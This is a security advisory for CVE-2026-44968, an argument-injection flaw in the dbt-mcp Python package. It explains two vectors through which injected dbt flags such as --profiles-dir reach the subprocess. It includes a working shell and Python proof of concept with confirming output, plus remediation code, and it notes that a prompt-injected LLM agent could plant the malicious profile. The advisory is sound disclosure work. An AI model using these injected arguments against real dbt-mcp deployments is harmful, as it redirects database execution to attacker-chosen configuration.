PT-2026-41148 · Pypi · Dbt-Mcp

Published

2026-05-14

·

Updated

2026-05-14

·

CVE-2026-44968

CVSS v3.1

6.3

Medium

VectorAV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*

Summary

run dbt command() in src/dbt mcp/dbt cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node selection string (Vector 1) or the resource type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.

Details

Vector 1 — node selection string Affected tools: build, compile, run, test, clone, list, get node details dev
# src/dbt mcp/dbt cli/tools.py lines 77–79
if node selection and isinstance(node selection, str):
  selector params = node selection.split(" ")
  command.extend(["--select"] + selector params)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my model --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run",
 "--select", "my model", "--profiles-dir", "/tmp/evil"]
dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 — resource type list Affected tool: list
# src/dbt mcp/dbt cli/tools.py lines 84–85
if isinstance(resource type, Iterable):
  command.extend(["--resource-type"] + resource type)
Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list",
 "--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.

PoC

1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil profile:
 target: dev
 outputs:
  dev:
   type: duckdb
   path: /tmp/PWNED by injection.duckdb
   threads: 1
EOF

# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt project.yml << 'EOF'
name: test project
version: '1.0.0'
profile: evil profile
model-paths: ["models"]
models:
 test project:
  +materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my first model.sql

rm -f /tmp/PWNED by injection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc injection.py
# Reproduces run dbt command() from src/dbt mcp/dbt cli/tools.py

import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable


class BinaryType(Enum):
  DBT CORE = "dbt core"


@dataclass
class DbtCliConfig:
  project dir: str
  dbt path: str
  dbt cli timeout: int
  binary type: BinaryType


def run dbt command(config, command, node selection=None, resource type=None):
  # Vector 1: vulnerable line from tools.py
  if node selection and isinstance(node selection, str):
    selector params = node selection.split(" ")
    command.extend(["--select"] + selector params)
  # Vector 2: vulnerable line from tools.py
  if isinstance(resource type, Iterable) and resource type is not None:
    command.extend(["--resource-type"] + list(resource type))
  cwd = config.project dir if os.path.isabs(config.project dir) else None
  args = [config.dbt path, "--no-use-colors", *command]
  print(f"[args]  {args}")
  proc = subprocess.Popen(args=args, cwd=cwd,
              stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
              stdin=subprocess.DEVNULL, text=True)
  out,  = proc.communicate(timeout=config.dbt cli timeout)
  return out or "OK"


config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT CORE)

print("=" * 64)
print(" Vector 1 - node selection injection")
print("=" * 64)
print(f"[input] node selection = 'my first model --profiles-dir /tmp/evil-profiles'")
result1 = run dbt command(config, ["run"],
  node selection="my first model --profiles-dir /tmp/evil-profiles")
print("[dbt output]"); print(result1)

print("=" * 64)
print(" Vector 2 - resource type injection")
print("=" * 64)
print(f"[input] resource type = ['model', '--profiles-dir', '/tmp/evil-profiles']")
result2 = run dbt command(config, ["list"],
  resource type=["model", "--profiles-dir", "/tmp/evil-profiles"])
print("[dbt output]"); print(result2)

db = "/tmp/PWNED by injection.duckdb"
print("=" * 64)
if os.path.exists(db):
  print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)")
  print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.")
else:
  print(f"[NOTE] {db} not found. Check dbt output above.")
print("=" * 64)
Expected server log (INFO level, src/dbt mcp/mcp/server.py line 67):

[args]  ['dbt', '--no-use-colors', 'run', '--select', 'my first model', '--profiles-dir', '/tmp/evil-profiles']
[args]  ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']

[CONFIRMED] /tmp/PWNED by injection.duckdb exists (274432 bytes)
[CONFIRMED] dbt accepted the injected --profiles-dir flag.
The injected flags reach run dbt command() unchanged and are passed verbatim to subprocess.Popen.

Screenshot

image

Impact

The following is directly demonstrated by the PoC above:
  • An MCP client can inject arbitrary dbt global flags into subprocess.Popen's argv list via either node selection or resource type.
  • --profiles-dir is accepted by dbt as a global option, overriding the server's configured profile directory.
  • When an attacker-controlled profiles.yml exists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to /tmp/PWNED by injection.duckdb.
Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.

Remediation

Vector 1 — validate each node selection token before extending argv:
import re
# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:
 SAFE TOKEN RE = re.compile(r'^[w.*+@,:[]/-]+$')

if node selection and isinstance(node selection, str):
  tokens = node selection.split(" ")
  for token in tokens:
    if not SAFE TOKEN RE.match(token):
      raise InvalidParameterError(
        f"node selection contains an invalid token: {token!r}. "
        "Tokens must not begin with '-'."
      )
  command.extend(["--select"] + tokens)
Vector 2 — validate resource type against an explicit allowlist:
 VALID RESOURCE TYPES = frozenset({
  "model", "test", "snapshot", "analysis", "macro",
  "operation", "seed", "source", "exposure", "metric",
  "saved query", "semantic model", "unit test",
})

if isinstance(resource type, Iterable):
  rt list = list(resource type)
  invalid = [v for v in rt list if v not in VALID RESOURCE TYPES]
  if invalid:
    raise InvalidParameterError(
      f"resource type contains unrecognised values: {invalid}. "
      f"Allowed: {sorted( VALID RESOURCE TYPES)}"
    )
  command.extend(["--resource-type"] + rt list)
Hardening: Add pattern regex constraints to the Pydantic Field definitions for node selection so that malformed inputs are rejected at the MCP schema layer before reaching run dbt command(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.

Fix

Argument Injection

Weakness Enumeration

Related Identifiers

CVE-2026-44968
GHSA-XPWW-F6PM-CFHQ

Affected Products

Dbt-Mcp